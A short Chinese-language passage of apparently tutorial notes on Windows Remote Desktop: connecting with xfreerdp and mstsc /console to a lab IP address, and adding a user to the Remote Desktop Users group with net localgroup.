或者使用 xfreerdp工具连接会自动加密
xfreerdp /f /u:administrator /p:123456 /v:192.168.80.136
注销即可退出
加入远程桌面组
在08新建一个普通用户,通过普通用户远程连接
net localgroup "Remote Desktop Users" xiaosha /add
可把此普通用户加入远程登录组,成功连接,但是权限较低
终端超出最大连接数
可用此种方法连接
mstsc /v:192.168.80.136:3389 /console